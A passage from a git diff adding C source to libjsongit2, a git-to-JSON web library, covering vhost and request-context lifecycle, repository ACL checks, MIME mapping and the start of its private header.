NULL;\n+\n+\tvhost \u003d malloc(sizeof(*vhost));\n+\tif (!vhost)\n+\t\treturn NULL;\n+\n+\tmemset(vhost, 0, sizeof(*vhost));\n+\tvhost-\u003ecfg \u003d *config;\n+\n+\tpthread_mutex_init(\u0026vhost-\u003elock, NULL);\n+\n+\temail_vhost_init(vhost);\n+\n+\tif (!jg2_global.vhost_head)\n+\t\tpthread_mutex_init(\u0026jg2_global.lock, NULL);\n+\n+\t/* add ourselves to the global vhost list */\n+\n+\tpthread_mutex_lock(\u0026jg2_global.lock); /* \u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d global lock */\n+\tvhost-\u003evhost_list \u003d jg2_global.vhost_head;\n+\tjg2_global.vhost_head \u003d vhost;\n+\tpthread_mutex_unlock(\u0026jg2_global.lock); /* ------------ global unlock */\n+\n+\tpthread_mutex_lock(\u0026vhost-\u003elock); /* \u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d vhost lock */\n+\n+\t/*\n+\t * repodir and cachedir serve to resolve multiple vhosts pointing at\n+\t * the same repository main dir and cache dir into a single object.\n+\t */\n+\n+\tvhost-\u003erepodir \u003d jg2_repodir_find_create(\u0026jg2_global.repodir_head,\n+\t\t\t\t\t\t config-\u003erepo_base_dir);\n+\tif (config-\u003ejson_cache_base) {\n+\n+\t\tif (config-\u003ecache_uid)\n+\t\t\tjg2_cache_prepare(config-\u003ejson_cache_base, 0700,\n+\t\t\t\t\t config-\u003ecache_uid);\n+\n+\t\tvhost-\u003ecachedir \u003d jg2_repodir_find_create(\n+\t\t\t\t\t\t\u0026jg2_global.cachedir_head,\n+\t\t\t\t\t\tconfig-\u003ejson_cache_base);\n+\t}\n+\n+\tif (vhost-\u003ecachedir \u0026\u0026 !vhost-\u003ecachedir-\u003ecache_size_limit)\n+\t\tvhost-\u003ecachedir-\u003ecache_size_limit \u003d config-\u003ecache_size_limit;\n+\n+\tif (vhost-\u003ecfg.vhost_html_filepath) {\n+\t\tif (__jg2_vhost_reference_html(vhost))\n+\t\t\tgoto bail;\n+\n+\t\tlac_use_cached_file_end(\u0026vhost-\u003ehtml_content);\n+\t}\n+\n+\tpthread_mutex_unlock(\u0026vhost-\u003elock); /* ----------------- vhost unlock */\n+\n+\tjg2_safe_libgit2_init();\n+\n+\t/* get a list of all the repos in the vhost's repo base dir */\n+\tjg2_conf_scan_repos(vhost);\n+\n+\t/* acquire the ACLs to find out which repos are visible to whom */\n+\tjg2_conf_scan_gitolite(vhost);\n+\n+\treturn vhost;\n+\n+bail:\n+\tlwsl_err(\u0022%s: failed\u005cn\u0022, __func__);\n+\tpthread_mutex_unlock(\u0026vhost-\u003elock); /* ----------------- vhost unlock */\n+\n+\tfree(vhost);\n+\n+\treturn NULL;\n+}\n+\n+/* must hold vhost lock */\n+\n+static int\n+__jg2_ctx_destroy(struct jg2_ctx *ctx)\n+{\n+\tstruct jg2_ctx **oc \u003d NULL, *c \u003d NULL;\n+\n+\tif (!ctx)\n+\t\treturn 0;\n+\n+\tctx-\u003edestroying \u003d 1;\n+\n+\tlac_use_cached_file_end(\u0026ctx-\u003evhost-\u003ehtml_content);\n+\n+\t/*\n+\t * closing while an incomplete job is going wouldn't be strange\n+\t * (browser page closed, lost connection etc). Get any active job\n+\t * to clean up after itself (it sees ctx-\u003edestroying set).\n+\t */\n+\tif (ctx-\u003ejob) {\n+\t\tctx-\u003ejob(ctx);\n+\t\tif (ctx-\u003efd_cache !\u003d -1) {\n+\t\t\tclose(ctx-\u003efd_cache);\n+\t\t\tunlink(ctx-\u003ecache);\n+\t\t}\n+\t} else\n+\t\tif (ctx-\u003efd_cache !\u003d -1) {\n+\t\t\tclose(ctx-\u003efd_cache);\n+\t\t\tctx-\u003efd_cache \u003d -1;\n+\t\t}\n+\n+\t/* remove ourselves from \u0022ctx using vhost\u0022 list */\n+\n+\tc \u003d NULL;\n+\toc \u003d \u0026ctx-\u003evhost-\u003ectx_on_vh_list;\n+\tif (oc)\n+\t\tc \u003d *oc;\n+\n+\twhile (c) {\n+\t\tif (c \u003d\u003d ctx) {\n+\t\t\t*oc \u003d c-\u003ectx_on_vh_next;\n+\t\t\tbreak;\n+\t\t}\n+\n+\t\toc \u003d \u0026c-\u003ectx_on_vh_next;\n+\t\tc \u003d c-\u003ectx_on_vh_next;\n+\t}\n+\n+\t/* remove ourselves from \u0022ctx using repo\u0022 list */\n+\n+\tif (ctx-\u003ejrepo \u0026\u0026 ctx-\u003ejrepo-\u003ectx_repo_list) {\n+\t\tpthread_mutex_lock(\u0026ctx-\u003ejrepo-\u003elock);\n+\n+\t\tc \u003d NULL;\n+\t\toc \u003d \u0026ctx-\u003ejrepo-\u003ectx_repo_list;\n+\t\tif (oc)\n+\t\t\tc \u003d *oc;\n+\n+\t\twhile (c) {\n+\t\t\tif (c \u003d\u003d ctx) {\n+\t\t\t\t*oc \u003d c-\u003ectx_using_repo_next;\n+\t\t\t\tbreak;\n+\t\t\t}\n+\n+\t\t\toc \u003d \u0026c-\u003ectx_using_repo_next;\n+\t\t\tc \u003d c-\u003ectx_using_repo_next;\n+\t\t}\n+\n+\t\tpthread_mutex_unlock(\u0026ctx-\u003ejrepo-\u003elock);\n+\t}\n+\n+#if 0\n+\tif (!ctx-\u003ejrepo-\u003ectx_repo_list) {\n+\t\t/* nobody using this logical repo any more */\n+\t\tstruct jg2_repo *r, **ro;\n+\n+\t\tr \u003d ctx-\u003evhost-\u003erepo_list;\n+\t\tro \u003d \u0026ctx-\u003evhost-\u003erepo_list;\n+\n+\t\twhile (r) {\n+\t\t\tif (r \u003d\u003d ctx-\u003ejrepo) {\n+\t\t\t\t*ro \u003d r-\u003enext;\n+\t\t\t\tbreak;\n+\t\t\t}\n+\t\t\tro \u003d \u0026r-\u003enext;\n+\t\t\tr \u003d r-\u003enext;\n+\t\t}\n+\n+\t\tjg2_repo_destroy(ctx-\u003ejrepo);\n+\t}\n+#endif\n+\n+\tjg2_repopath_destroy(\u0026ctx-\u003esr);\n+\n+\tfree(ctx-\u003emd5_ctx);\n+\n+\tfree(ctx);\n+\n+\treturn 0;\n+}\n+\n+void\n+jg2_vhost_destroy(struct jg2_vhost *vhost)\n+{\n+\tstruct jg2_repo *r, *r1;\n+\tstruct jg2_vhost *vh, **ovh;\n+\n+\tpthread_mutex_lock(\u0026vhost-\u003elock); /* \u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d vhost lock */\n+\n+\tr \u003d vhost-\u003erepo_list;\n+\n+\twhile (r) {\n+\t\tr1 \u003d r-\u003enext;\n+\t\tjg2_repo_destroy(r);\n+\t\tr \u003d r1;\n+\t}\n+\n+\tlac_free(\u0026vhost-\u003erei_lac_head);\n+\tlac_free(\u0026vhost-\u003eacl_lac_head);\n+\n+\tgiterr_clear();\n+\n+\tjg2_safe_libgit2_deinit();\n+\n+\temail_vhost_deinit(vhost);\n+\n+\tif (vhost-\u003ehtml_content)\n+\t\tlac_use_cached_file_detach(\u0026vhost-\u003ehtml_content);\n+\n+\tpthread_mutex_unlock(\u0026vhost-\u003elock); /* ----------------- vhost unlock */\n+\n+\tif (vhost-\u003ecachedir \u0026\u0026 !--vhost-\u003ecachedir-\u003erefcount) {\n+\t\tvoid *retval;\n+\n+\t\tif (!--jg2_global.count_cachedirs)\n+\n+\t\t\t/*\n+\t\t\t * we're about to destroy things the cache thread relies\n+\t\t\t * on. Bring the cache thread to an end.\n+\t\t\t */\n+\n+\t\t\tpthread_join(jg2_global.cache_thread, \u0026retval);\n+\t}\n+\n+\t/*\n+\t * remove ourselves from the repodir + cachedir\n+\t * (and destroy it if last user)\n+\t */\n+\n+\tif (vhost-\u003erepodir \u0026\u0026 !--vhost-\u003erepodir-\u003erefcount)\n+\t\tjg2_repodir_destroy(\u0026jg2_global.repodir_head, vhost-\u003erepodir);\n+\n+\tif (vhost-\u003ecachedir \u0026\u0026 !vhost-\u003ecachedir-\u003erefcount) {\n+\t\tjg2_repodir_destroy(\u0026jg2_global.cachedir_head, vhost-\u003ecachedir);\n+\t}\n+\n+\t/* remove ourselves from the global vhost list */\n+\n+\tpthread_mutex_lock(\u0026jg2_global.lock); /* \u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d global lock */\n+\n+\tovh \u003d \u0026jg2_global.vhost_head;\n+\tvh \u003d *ovh;\n+\twhile (vh) {\n+\t\tif (vh \u003d\u003d vhost) {\n+\t\t\t*ovh \u003d vh-\u003evhost_list;\n+\t\t\tbreak;\n+\t\t}\n+\t\tovh \u003d \u0026vh-\u003evhost_list;\n+\t\tvh \u003d vh-\u003evhost_list;\n+\t}\n+\n+\tpthread_mutex_unlock(\u0026jg2_global.lock); /* ------------ global unlock */\n+\n+\tif (!jg2_global.vhost_head)\n+\t\t/* we were the last vhost going away, destroy global assets */\n+\t\tpthread_mutex_destroy(\u0026jg2_global.lock);\n+\n+\tpthread_mutex_destroy(\u0026vhost-\u003elock);\n+\n+\tfree(vhost);\n+}\n+\n+struct mimetype_map {\n+\tconst char *suffix;\n+\tconst char *mimetype;\n+};\n+\n+static const struct mimetype_map mime[] \u003d {\n+\t{ \u0022.html\u0022,\t\u0022text/html\u0022 },\n+\t{ \u0022.js\u0022,\t\u0022application/javascript\u0022 },\n+\t{ \u0022.css\u0022,\t\u0022text/css\u0022 },\n+\t{ \u0022.jpg\u0022,\t\u0022image/jpeg\u0022 },\n+\t{ \u0022.jpeg\u0022,\t\u0022image/jpeg\u0022 },\n+\t{ \u0022.pdf\u0022,\t\u0022application/pdf\u0022 },\n+\t{ \u0022.png\u0022,\t\u0022image/png\u0022 },\n+\t{ \u0022.svg\u0022,\t\u0022image/svg+xml\u0022 },\n+\t{ \u0022.txt\u0022,\t\u0022text/plain\u0022 },\n+\t{ \u0022.md\u0022,\t\u0022text/plain\u0022 },\n+\t{ \u0022.zip\u0022,\t\u0022application/zip\u0022 },\n+\t{ \u0022.tar.gz\u0022,\t\u0022application/gzip\u0022 },\n+\t{ \u0022.tar.bz2\u0022,\t\u0022application/x-bzip2\u0022 },\n+\t{ \u0022.tar.xz\u0022,\t\u0022application/x-xz\u0022 },\n+};\n+\n+/*\n+ * ctx lists are held in\n+ *\n+ * - the jrepo (head jrepo-\u003ectx_repo_list), and\n+ * - the vhost (head vh-\u003ectx_on_vh_list)\n+ */\n+\n+int\n+jg2_ctx_create(struct jg2_vhost *vhost, struct jg2_ctx **_ctx,\n+\t const struct jg2_ctx_create_args *args)\n+{\n+\tchar filepath[256], created_r \u003d 0;\n+\tint m \u003d -1, flags \u003d args-\u003eflags;\n+\tstruct jg2_ctx *ctx;\n+\tstruct jg2_repo *r;\n+\n+\t*_ctx \u003d jg2_zalloc(sizeof(*ctx));\n+\tif (!*_ctx)\n+\t\treturn 0;\n+\n+\tctx \u003d *_ctx;\n+\n+\tctx-\u003eacl_user \u003d args-\u003eauthorized;\n+\tctx-\u003evhost \u003d vhost;\n+\tctx-\u003euser \u003d args-\u003euser;\n+\tctx-\u003efd_cache \u003d -1;\n+\tgettimeofday(\u0026ctx-\u003etv_gen, NULL);\n+\n+\tif (args-\u003eetag_length)\n+\t\targs-\u003eetag[0] \u003d '\u005c0';\n+\n+\tif (args-\u003eaccept_language) {\n+\t\tstrncpy(ctx-\u003ealang, args-\u003eaccept_language,\n+\t\t\tsizeof(ctx-\u003ealang) - 1);\n+\t\tctx-\u003ealang[sizeof(ctx-\u003ealang) - 1] \u003d '\u005c0';\n+\t} else\n+\t\tctx-\u003ealang[0] \u003d '\u005c0';\n+\n+\tjg2_repopath_split(args-\u003erepo_path, \u0026ctx-\u003esr);\n+\n+\tif (ctx-\u003esr.e[JG2_PE_NAME] \u0026\u0026 ctx-\u003esr.e[JG2_PE_NAME][0] \u0026\u0026\n+\t __repo_check_acl(vhost, ctx-\u003esr.e[JG2_PE_NAME],\n+\t\t\t vhost-\u003ecfg.acl_user) \u0026\u0026\n+\t __repo_check_acl(vhost, ctx-\u003esr.e[JG2_PE_NAME],\n+\t\t\t ctx-\u003eacl_user)) {\n+\t\tlwsl_notice(\u0022%s: permission denied: %s\u005cn\u0022, __func__,\n+\t\t\t\tctx-\u003esr.e[JG2_PE_NAME]);\n+\t\tm \u003d JG2_CTX_CREATE_ACL_DENIED;\n+\t\tgoto bail1;\n+\t}\n+\n+\t/* bots are not allowed to use blame */\n+\n+\tif ((flags \u0026 JG2_CTX_FLAG_BOT) \u0026\u0026 ctx-\u003esr.e[JG2_PE_MODE] \u0026\u0026\n+\t !strcmp(ctx-\u003esr.e[JG2_PE_MODE], \u0022blame\u0022))\n+\t\tctx-\u003esr.e[JG2_PE_MODE] \u003d \u0022tree\u0022;\n+\n+\t/* figure out if we are in blog mode with this repo... either by\n+\t * vhost association to a specific blog repo... */\n+\n+\tctx-\u003eblog_mode \u003d !!(vhost-\u003ecfg.flags \u0026 JG2_VHOST_BLOG_MODE);\n+\tif (ctx-\u003eblog_mode \u0026\u0026 vhost-\u003ecfg.blog_repo_name) {\n+\t\tif (ctx-\u003esr.e[JG2_PE_NAME])\n+\t\t\tfree((char *)ctx-\u003esr.e[JG2_PE_NAME]);\n+\t\tctx-\u003esr.e[JG2_PE_NAME] \u003d strdup(vhost-\u003ecfg.blog_repo_name);\n+\t\tif (!ctx-\u003esr.e[JG2_PE_NAME]) {\n+\t\t\tm \u003d JG2_CTX_CREATE_OOM;\n+\t\t\tgoto bail1;\n+\t\t}\n+\t}\n+\n+\t/*\n+\t * ... or because the description for the repo the URL points to\n+\t * begins with '+'.\n+\t */\n+\n+\tif (ctx-\u003esr.e[JG2_PE_NAME]) {\n+\t\tconst char *str;\n+\t\tconst struct repo_entry_info *rei;\n+\n+\t\trei \u003d jg2_lookup_repo_config(vhost, ctx-\u003esr.e[JG2_PE_NAME]);\n+\t\tif (rei) {\n+\t\t\tstr \u003d jg2_rei_string(rei, REI_STRING_CONFIG_DESC);\n+\n+\t\t\tif (str \u0026\u0026 str[0] \u003d\u003d '+')\n+\t\t\t\tctx-\u003eblog_mode \u003d 1;\n+\t\t}\n+\t}\n+\n+\tif (ctx-\u003eblog_mode \u0026\u0026 !ctx-\u003esr.e[JG2_PE_MODE])\n+\t\tctx-\u003esr.e[JG2_PE_MODE] \u003d \u0022blog\u0022;\n+\n+\t/* /plain/, /snapshot/, /patch/ overrides sandwich mode */\n+\n+\tif (ctx-\u003esr.e[JG2_PE_MODE] \u0026\u0026 jg2_job_naked(ctx))\n+\t\tflags \u0026\u003d ~JG2_CTX_FLAG_HTML;\n+\n+\tctx-\u003eflags \u003d flags;\n+\tctx-\u003ehtml_state \u003d flags \u0026 JG2_CTX_FLAG_HTML ? HTML_STATE_HTML_META :\n+\t\t\t\t\t\t\t HTML_STATE_JOB1;\n+\n+\t*args-\u003emimetype \u003d \u0022text/html; charset\u003dutf-8\u0022;\n+\t*args-\u003elength \u003d 0;\n+\n+\tif (ctx-\u003esr.e[JG2_PE_MODE] \u0026\u0026\n+\t !strcmp(ctx-\u003esr.e[JG2_PE_MODE], \u0022patch\u0022))\n+\t\t*args-\u003emimetype \u003d \u0022text/plain; charset\u003dutf-8\u0022;\n+\n+\n+\tctx-\u003emd5_ctx \u003d vhost-\u003ecfg.md5_alloc();\n+\n+\tif (!ctx-\u003esr.e[JG2_PE_NAME] ||\n+\t !ctx-\u003esr.e[JG2_PE_NAME][0]) {\n+\t\t/* not having a reponame is legal (shows repo list) */\n+\t\treturn 0;\n+\t}\n+\n+\t/* we never want to make gitolite-admin available... */\n+\n+\tif (!strcmp(ctx-\u003esr.e[JG2_PE_NAME], \u0022gitolite-admin\u0022)) {\n+\t\tlwsl_err(\u0022%s: requested illegal repo\u005cn\u0022, __func__);\n+\t\tm \u003d 1;\n+\t\tgoto bail1;\n+\t}\n+\n+\tpthread_mutex_lock(\u0026vhost-\u003elock); /* \u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d vhost lock */\n+\n+\tlws_snprintf(filepath, sizeof(filepath), \u0022%s/%s.git\u0022,\n+\t\t vhost-\u003ecfg.repo_base_dir, ctx-\u003esr.e[JG2_PE_NAME]);\n+\n+\t/* is the repo already open? */\n+\n+\tr \u003d vhost-\u003erepo_list;\n+\twhile (r) {\n+\n+\t\tif (!strcmp(r-\u003erepo_path, filepath)) {\n+\t\t\t/* the new ctx knows its using this jrepo then... */\n+\t\t\tctx-\u003ejrepo \u003d r;\n+\t\t\t/*\n+\t\t\t * insert into ctx into the jrepo's\n+\t\t\t * list of ctx using it\n+\t\t\t */\n+\t\t\tpthread_mutex_lock(\u0026r-\u003elock); /* \u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003djrepo lock */\n+\t\t\tctx-\u003ectx_using_repo_next \u003d r-\u003ectx_repo_list;\n+\t\t\tr-\u003ectx_repo_list \u003d ctx;\n+\t\t\tpthread_mutex_unlock(\u0026r-\u003elock); /*-------jrepo unlock */\n+\t\t\t/* (keep vhost lock) */\n+\t\t\tgoto do_mime;\n+\t\t}\n+\n+\t\tr \u003d r-\u003enext;\n+\t}\n+\n+\t/* no, we have to create it */\n+\n+\tm \u003d JG2_CTX_CREATE_OOM;\n+\tr \u003d jg2_zalloc(sizeof(*r));\n+\tif (!r) {\n+\t\tpthread_mutex_unlock(\u0026vhost-\u003elock); /* --------- vhost unlock */\n+\t\tgoto bail1;\n+\t}\n+\n+\tcreated_r \u003d 1;\n+\tpthread_mutex_init(\u0026r-\u003elock, NULL);\n+\n+\tr-\u003erepo_path \u003d strdup(filepath);\n+\tr-\u003evhost \u003d vhost;\n+\tif (!r-\u003erepo_path) {\n+\t\tpthread_mutex_unlock(\u0026vhost-\u003elock); /* --------- vhost unlock */\n+\t\tgoto bail2;\n+\t}\n+\n+\tm \u003d git_repository_open_ext(\u0026r-\u003erepo, r-\u003erepo_path, 0, NULL);\n+\tif (m \u003c 0) {\n+\t\tconst git_error *err \u003d giterr_last();\n+\n+\t\tlwsl_err(\u0022repo open failed %s: %d\u005cn\u0022, r-\u003erepo_path, m);\n+\t\tif (err)\n+\t\t\tlwsl_err(\u0022Error %d: %s\u005cn\u0022, err-\u003eklass, err-\u003emessage);\n+\n+\t\tpthread_mutex_unlock(\u0026vhost-\u003elock); /* --------- vhost unlock */\n+\t\tm \u003d JG2_CTX_CREATE_REPO_OPEN_FAIL;\n+\t\tgoto bail3;\n+\t}\n+\n+\tctx-\u003ejrepo \u003d r;\n+\n+\t__repo_reflist_update(vhost, r);\n+\n+\t/* we start the new jrepo's \u0022ctx using repo\u0022 list with ourselves */\n+\tr-\u003ectx_repo_list \u003d ctx;\n+\n+\tr-\u003enext \u003d vhost-\u003erepo_list;\n+\tvhost-\u003erepo_list \u003d r;\n+\n+do_mime:\n+\n+\t/* (vhost lock still held whether found or created r) */\n+\n+\t/* add ourselves to the vhost ctx list while we have the vhost lock */\n+\tctx-\u003ectx_on_vh_next \u003d vhost-\u003ectx_on_vh_list;\n+\tvhost-\u003ectx_on_vh_list \u003d ctx;\n+\n+\tif (vhost-\u003ecfg.vhost_html_filepath \u0026\u0026\n+\t __jg2_vhost_reference_html(vhost)) {\n+\t\t/* file problem or OOM... */\n+\t\tpthread_mutex_unlock(\u0026vhost-\u003elock); /* --------- vhost unlock */\n+\t\tgoto bail4;\n+\t}\n+\n+\t/* for naked modes, we can compute the ETAG / cache hash */\n+\n+\tif (args-\u003eetag \u0026\u0026 args-\u003eetag_length \u0026\u0026 ctx-\u003esr.e[JG2_PE_MODE] \u0026\u0026\n+\t ctx-\u003esr.e[JG2_PE_PATH] \u0026\u0026 jg2_job_naked(ctx)) {\n+\t\tchar md5_hex33[33];\n+\n+\t\tvhost-\u003eetag_tries++;\n+\n+\t\t__jg2_job_compute_cache_hash(ctx, jg2_job_naked(ctx), 0,\n+\t\t\t\t\t md5_hex33);\n+\n+\t\tstrncpy(args-\u003eetag, md5_hex33, args-\u003eetag_length - 1);\n+\t\targs-\u003eetag[args-\u003eetag_length - 1] \u003d '\u005c0';\n+\n+\t\tif (args-\u003eclient_etag \u0026\u0026 !strcmp(args-\u003eetag, args-\u003eclient_etag))\n+\t\t\tvhost-\u003eetag_hits++;\n+\t}\n+\n+\tpthread_mutex_unlock(\u0026vhost-\u003elock); /* ----------------- vhost unlock */\n+\n+\t/* figure out plain mimetype stuff */\n+\n+\tif (ctx-\u003esr.e[JG2_PE_MODE] \u0026\u0026 ctx-\u003esr.e[JG2_PE_PATH] \u0026\u0026\n+\t !strcmp(ctx-\u003esr.e[JG2_PE_MODE], \u0022plain\u0022)) {\n+\t\tchar id[128];\n+\t\tsize_t sl, n, l \u003d strlen(ctx-\u003esr.e[JG2_PE_PATH]);\n+\t\tconst char *vid \u003d jg2_ctx_get_path(ctx, JG2_PE_VIRT_ID, id,\n+\t\t\t\t\t\t sizeof(id));\n+\n+\t\tstrncpy(ctx-\u003ehex_oid, vid, sizeof(ctx-\u003ehex_oid) - 1);\n+\t\tctx-\u003ehex_oid[sizeof(ctx-\u003ehex_oid) - 1] \u003d '\u005c0';\n+\n+\t\tif (!blob_from_commit(ctx)) {\n+\t\t\t*args-\u003elength \u003d ctx-\u003esize;\n+\t\t\tgit_blob_free(ctx-\u003eu.blob);\n+\t\t} else\n+\t\t\tlwsl_err(\u0022blob_from_commit failed\u005cn\u0022);\n+\n+\t\tfor (n \u003d 0; n \u003c JG2_ARRAY_SIZE(mime); n++) {\n+\t\t\tsl \u003d strlen(mime[n].suffix);\n+\n+\t\t\tif (l \u003e sl \u0026\u0026\n+\t\t\t !strcmp(ctx-\u003esr.e[JG2_PE_PATH] + l - sl,\n+\t\t\t\t mime[n].suffix)) {\n+\t\t\t\t*args-\u003emimetype \u003d mime[n].mimetype;\n+\t\t\t\tbreak;\n+\t\t\t}\n+\t\t}\n+\t}\n+\n+\tif (ctx-\u003esr.e[JG2_PE_MODE] \u0026\u0026 ctx-\u003esr.e[JG2_PE_PATH] \u0026\u0026\n+\t !strcmp(ctx-\u003esr.e[JG2_PE_MODE], \u0022snapshot\u0022)) {\n+\t\tsize_t sl, n, l \u003d strlen(ctx-\u003esr.e[JG2_PE_PATH]);\n+\n+\t\tfor (n \u003d 0; n \u003c JG2_ARRAY_SIZE(mime); n++) {\n+\t\t\tsl \u003d strlen(mime[n].suffix);\n+\n+\t\t\tif (l \u003e sl \u0026\u0026\n+\t\t\t !strcmp(ctx-\u003esr.e[JG2_PE_PATH] + l - sl,\n+\t\t\t\t mime[n].suffix)) {\n+\t\t\t\t*args-\u003emimetype \u003d mime[n].mimetype;\n+\t\t\t\tbreak;\n+\t\t\t}\n+\t\t}\n+\t}\n+\n+\treturn 0;\n+\n+bail4:\n+\tgit_repository_free(r-\u003erepo);\n+\n+bail3:\n+\tfree(r-\u003erepo_path);\n+\n+bail2:\n+\tif (created_r) {\n+\t\tpthread_mutex_destroy(\u0026r-\u003elock);\n+\t\tfree(r);\n+\t}\n+\n+bail1:\n+\tjg2_repopath_destroy(\u0026ctx-\u003esr);\n+\n+\tif (ctx-\u003emd5_ctx)\n+\t\tfree(ctx-\u003emd5_ctx);\n+\n+\tfree(ctx);\n+\t*_ctx \u003d NULL;\n+\n+\treturn m;\n+}\n+\n+\n+int\n+jg2_ctx_destroy(struct jg2_ctx *ctx)\n+{\n+\tstruct jg2_vhost *vh;\n+\n+\tif (!ctx)\n+\t\treturn 0;\n+\n+\tvh \u003d ctx-\u003evhost;\n+\n+\tpthread_mutex_lock(\u0026vh-\u003elock); /* \u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d vhost lock */\n+\n+\tctx-\u003edestroying \u003d 1;\n+\n+\t__jg2_ctx_destroy(ctx);\n+\n+\tpthread_mutex_unlock(\u0026vh-\u003elock); /*--------------------- vhost unlock */\n+\n+\treturn 0;\n+}\ndiff --git a/lib/private.h b/lib/private.h\nnew file mode 100644\nindex 0000000..b9c557a\n--- /dev/null\n+++ b/lib/private.h\n@@ -0,0 +1,545 @@\n+/*\n+ * libjg2 - private includes\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n+ * MA 02110-1301 USA\n+ */\n+\n+#include \u003clibjsongit2.h\u003e\n+#include \u003cgit2.h\u003e\n+\n+#define LG2_VERSION(MA, MI) \u005c\n+\t\t((((LIBGIT2_VER_MAJOR) \u003c\u003c 16) + (LIBGIT2_VER_MINOR)) - \u005c\n+\t\t\t(((MA) \u003c\u003c 16) + (MI)))\n+\n+#define LIBGIT2_HAS_BLAME_MAILMAP\t(LG2_VERSION(0, 28) \u003e\u003d 0)\n+#define LIBGIT2_HAS_BLAME\t\t(LG2_VERSION(0, 21) \u003e\u003d 0)\n+#define LIBGIT2_HAS_REPO_CONFIG_SNAP\t(LG2_VERSION(0, 21) \u003e\u003d 0)\n+#define LIBGIT2_HAS_GIT_BUF\t\t(LG2_VERSION(0, 24) \u003e 0)\n+#define LIBGIT2_HAS_DIFF\t\t(LG2_VERSION(0, 19) \u003e 0)\n+#define LIBGIT2_HAS_STR_BUF\t\t(LG2_VERSION(0, 19) \u003e 0)\n+#define LIBGIT2_HAS_REFCOUNTED_INIT\t(LG2_VERSION(0, 19) \u003e 0)\n+#define LIBGIT2_HAS_LEAKY_ERR\t\t(LG2_VERSION(0, 19) \u003c\u003d 0)\n+\n+/* generated by cmake */\n+#include \u003cjg2-config.h\u003e\n+\n+#include \u003cpthread.h\u003e\n+#include \u003cstddef.h\u003e\n+#include \u003cstdint.h\u003e\n+\n+#if defined(JG2_HAVE_ARCHIVE_H)\n+#include \u003carchive.h\u003e\n+#include \u003carchive_entry.h\u003e\n+#endif\n+\n+#define JG2_JSON_EPOCH 1\n+\n+struct jg2_ctx;\n+struct jg2_vhost;\n+\n+#if defined(__GNUC__)\n+#define JG2_FORMAT(string_index) __attribute__ ((format(printf, string_index, \u005c\n+\t\t string_index + 1)))\n+#else\n+#define JG2_FORMAT(string_index)\n+#endif\n+\n+#define CTX_BUF_APPEND(...) ctx-\u003ep +\u003d lws_snprintf(ctx-\u003ep, \u005c\n+\t\t\t\tlws_ptr_diff(ctx-\u003eend, ctx-\u003ep), __VA_ARGS__)\n+#define JG2_MD5_LEN 16\n+#define MIB (1024 * 1024)\n+#define KIB (1024)\n+\n+#include \u0022lac/private.h\u0022\n+#include \u0022conf/private.h\u0022\n+#include \u0022job/private.h\u0022\n+#include \u0022email/private.h\u0022\n+\n+#define JG2_HTML_META\t \u0022\u003c!-- libjsongit2:meta-description --\u003e\u0022\n+#define JG2_HTML_META_LEN 37\n+#define JG2_HTML_DYNAMIC \u0022\u003c!-- libjsongit2:initial-json --\u003e\u0022\n+#define JG2_HTML_DYNAMIC_LEN 33\n+\n+#define JG2_ARRAY_SIZE(x) (sizeof(x) / sizeof(x[0]))\n+#define lws_ptr_diff(head, tail) ((int)((char *)(head) - (char *)(tail)))\n+\n+/*\n+ * The number of bytes we might want to send with stats, etc at the end of\n+ * the whole transaction or at the end of one JSON unit, whichever is bigger.\n+ *\n+ * The jobs act to reserve this amount of buffer.\n+ */\n+#define JG2_RESERVE_SEAL 100\n+#define JG2_HAS_SPACE(ctx, num) (lws_ptr_diff(ctx-\u003eend, ctx-\u003ep) \u003e \u005c\n+\t\t\t\t JG2_RESERVE_SEAL + num)\n+\n+/**\n+ * jg2_path_element: which parsed path element to receive\n+ *\n+ * JG2_PE_VIRT_ID is a synthetic element which contains a commit id, or ref\n+ * name depending on what is available.\n+ */\n+\n+typedef enum {\n+\tJG2_PE_NAME, /**\u003c reponame (NULL if none) */\n+\tJG2_PE_MODE, /**\u003c display mode, like tree or commit (NULL if none) */\n+\tJG2_PE_PATH, /**\u003c filepath inside repo, if any (NULL if none) */\n+\tJG2_PE_BRANCH, /**\u003c specified branch, if any (NULL implies master) */\n+\tJG2_PE_ID, /**\u003c specified oid in hex, if any (NULL if none) */\n+\tJG2_PE_OFFSET, /**\u003c pagination offset counted in items */\n+\n+\tJG2_PE_COUNT,\n+\tJG2_PE_VIRT_ID\n+} jg2_path_element;\n+\n+struct file_entry {\n+\tlist_ptr sorted;\n+\tlist_ptr prev;\n+\tchar name[64];\n+\ttime_t modified;\n+\tsize_t size;\n+};\n+\n+/* this is used for both per-repodir and per-cachedir stuff */\n+\n+struct jg2_repodir {\n+\tpthread_mutex_t lock;\n+\tchar repo_base_dir[128];\n+\tstruct jg2_repodir *next;\n+\n+\tchar hexoid_gitolite_conf[GIT_OID_HEXSZ + 1];\n+\tint refcount; /* vhosts using this struct */\n+\n+\t/* cache trimming */\n+\n+\tstruct file_entry *batch;\n+\tlist_ptr head;\n+\ttime_t last_scan_completed;\n+\tuint64_t agg_size;\n+\tuint64_t 